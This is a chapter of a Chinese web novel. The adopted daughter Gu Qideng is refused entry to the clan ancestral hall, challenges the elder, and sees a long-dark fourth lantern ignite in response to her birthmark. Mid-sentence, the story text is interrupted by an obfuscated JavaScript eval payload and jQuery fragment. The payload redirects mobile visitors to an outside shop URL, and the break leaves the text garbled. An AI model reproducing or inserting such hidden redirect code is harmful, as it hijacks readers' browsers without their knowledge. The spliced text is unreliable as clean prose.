大晟永安二十三年，临江连下七日冷雨。
城中老人说，雨若下满七日，顾家便要开祠堂。
顾氏盘踞临江近两百年，掌盐运、设药行，半城商铺都挂着顾家的灯号。每逢归灯祭，顾家祠堂一开，后山一带便不许外人靠近，连城守都会遣人守住街口。
可临江城还有另一句不敢放到明面上说的话。
每逢归灯祭，总会少几盏灯。
有时是一户人家死了人，有时是巷子里有人失踪，有时只是某个原本红火的铺子忽然关门，门前那盏灯从此再没亮过。
顾栖灯小时候听过一次，被顾夫人捂住耳朵，说小孩子别听这些晦气话。
后来她长大了，便再没人当着她的面提起。
入夜时，雨势渐小。
顾家祠堂前的石阶被洗得发亮，檐下挂着一排铜铃，风一吹，铃声清清冷冷地散进雨雾里。
顾栖灯站在最后一阶台阶下，手中提着一盏白纸灯。
灯是她亲手糊的。
灯面干净得没有一个字，灯腹里也没有灯油。
她小时候不懂，曾问过二哥，为什么祭祀时人人手中都有灯，只有她的灯是空的。
二哥那时一边剥栗子，一边笑着哄她：“因为阿栖年纪小，提空灯才不会烫手。”
她信了好几年。
直到十二岁那年，她在祠堂后院看见顾家旁支的姑娘提着一盏小灯。那姑娘比她还小两岁，灯里却燃着暖黄的火。
顾栖灯才明白，不是因为她年纪小。
是因为她的灯，不能点。
祠堂厚重的木门缓缓打开。
顾家族人依次进入，衣摆扫过湿润青砖，没人高声说话。最先进去的是族中长老，接着是各房主事，最后才是顾家的几个孩子。
顾承晏走在前面。
他穿着玄色祭服，袖口与衣摆都压着暗金纹，雨水没能沾到他半分。顾栖灯看着他的背影，忽然想起半个时辰前，他在东院门口特意停下来，替她把披风系紧。
他说今夜风冷，别着凉。
顾栖灯那时还觉得，大哥既然记得她怕冷，或许今晚也会记得带她进去。
顾长舟跟在顾承晏身侧，白衣外罩着祭服，仍显得比旁人松散些。他经过顾栖灯时，悄悄往她袖中塞了一颗糖。
“别板着脸。”他压低声音，“等祭完，我给你留一碗桂花酿。”
顾栖灯没有接话。
顾长舟看出她不高兴，刚想再说什么，身后却有人催他。他只得朝她眨了眨眼，快步跟上大哥。
最后经过的是顾长川。
他刚从外地回来不久，衣服上没有其他人那样繁复的祭纹，只在腰间挂着顾家三房的令牌。他平日里总像与顾宅格格不入，站在人群中时，连影子都比别人更冷一些。
顾栖灯原本没想看他。
可顾长川经过她时，脚步忽然顿了一下。
他垂眼，看见她手中那盏空白纸灯，也看见她因为攥得太紧而发白的指节。
顾栖灯以为他会像二哥那样说点什么。
可顾长川只是看了她一眼，便越过她往前走。
顾栖灯低下头，正要跟上，守在祠堂门前的顾长老却抬手拦住她。
“四小姐。”
长老须发皆白，平日里总是一副慈和模样。他看着顾栖灯，笑意温和得没有一点破绽。
“外姓之人，不宜入祠。”
雨水从伞沿滴落。
顾栖灯没有立刻说话。
这句话她听了很多年。
从前她会委屈，会问顾夫人自己是不是做错了什么；再大一点，她学会不问。顾夫人会在祭祀后给她带一枝白梅，大哥会替她留一盏灯，二哥会带她去城南吃点心。
他们都对她很好。
好到顾栖灯有时会觉得，自己若再追问祠堂的事，反倒显得不知好歹。
可今夜她不想再装作什么都不明白。
她抬起头，看着长老。
“去年冬祭时，您让我在祠堂外替祖宗抄了三夜祭文。”她声音不大，“既然我是外姓，为何又要我替顾家守祭文？”
长老的笑容微微一顿。
祠堂门口安静下来。
顾长舟回过头，神情里有一点意外。顾承晏也停下脚步，隔着雨幕望向她。
顾栖灯继续道：“前年族谱重修，是大哥亲手将我的名字写进顾氏一页。若我不算顾家人，为何要写？”
长老看着她。
“四小姐，族谱上的名字是情分，祠堂里的规矩是规矩。”
“情分能写进族谱，规矩却不能让我上一炷香？”
顾栖灯问得很平静。
她没有提高声音，也没有哭。
可正因为如此，长老一时竟没能立刻回答。
顾栖灯知道自己不该在这种场合逼问。她也知道，顾家人最擅长的便是把许多事藏进“规矩”两个字里。
可她忽然不想再替他们把话说圆了。
顾承晏终于开口：“阿栖。”
他语气很轻。
顾栖灯抬眼看他。
大哥站在祠堂门内，背后是温暖明亮的灯火。他看着她，眼中有一瞬很复杂的情绪，像歉意，像无奈，又像在求她不要继续问下去。
“外头风大。”他说，“回去吧。”
顾栖灯望着他。
“你也觉得我不该进去？”
顾承晏没有立即回答。
只是这一瞬的沉默，已经足够。
顾栖灯心里那点尚未熄灭的期待，忽然被雨水浇得透凉。
她不再看他。
“好。”
她撑开伞，转身往回走。
顾长舟似乎想追出来，却被顾承晏叫住。顾长川始终没有说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968825|214618||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
话，只是在她转身时，目光落到她的背影上。
顾栖灯走得不快。
经过老槐树时，她停了一下。
祠堂外一共挂着四盏灯。
前三盏在正门廊下，分别属于顾家三房，灯火明亮而稳定。第四盏却挂在祠堂侧面老槐树下，灯座锈迹斑斑，灯罩蒙着灰，像很多年没人碰过。
顾栖灯小时候问过顾夫人，这盏灯供谁。
顾夫人当时正在给她梳头，梳子忽然停在半空。过了很久，才说：
“一盏不该亮的灯。”
从那以后，顾栖灯便再没问。
可今夜，她看着那盏灯，忽然发现灯座下方缠着一根极细的红线。
红线另一端，没入槐树后方的阴影。
像有人刚刚在这里放过什么。
顾栖灯没有立刻靠近。
她先环顾四周。
祠堂门前的守卫都在看正门，没人注意侧面。雨也停得差不多了，只剩槐树叶上的水珠一滴滴往下落。
她弯下身，从裙摆上拔下一根细针。
针尖挑开红线时，树根旁掉出一粒暗红色的蜡丸。
蜡丸表面沾着黑色灯油，靠近时有一股很淡的异香。顾栖灯从未闻过这种味道，却莫名觉得熟悉。
像二哥药碗里曾有过的一点苦味。
她将蜡丸包进帕子，塞进袖中。
就在这时，手腕忽然一烫。
顾栖灯低头。
袖口滑下半寸，露出那道从小就有的灯形胎记。雨后微凉的空气里，胎记正一点点泛红，像皮肤下燃起了一粒火星。
她下意识伸手去按。
下一刻，老槐树下传来“噗”的一声轻响。
第四盏灯亮了。
火焰起初只有豆大一点。
随后猛地窜高。
赤红色灯火穿透夜色，映亮整片湿漉漉的园子，也映亮顾栖灯来不及收回的手腕。
祠堂内的诵经声骤然停了。
紧闭的木门被人从里面推开。
长老、顾承晏、顾长舟，还有一众族人全都站在门内，齐齐望向那盏灯。
没有人说话。
顾栖灯看见大哥的脸色白了一瞬；二哥手里的祭香掉在地上；而顾长川站在人群最末，目光落在她手腕上，神色比任何人都沉。
长老手中的祭器砸在青砖上，发出清脆的一声响。
他盯着顾栖灯，嘴唇微微发颤。
“怎么会……”
雨后的风吹过槐树。
第四盏灯越烧越亮。
顾栖灯站在灯下，忽然发现所有人看她的目光都变了。
不再是看顾家养大的四小姐。
而像在看一件终于从地底翻出来的旧物。
长老抬起头，声音不大，却清清楚楚穿过夜色。
“她怎么会在今夜回来？”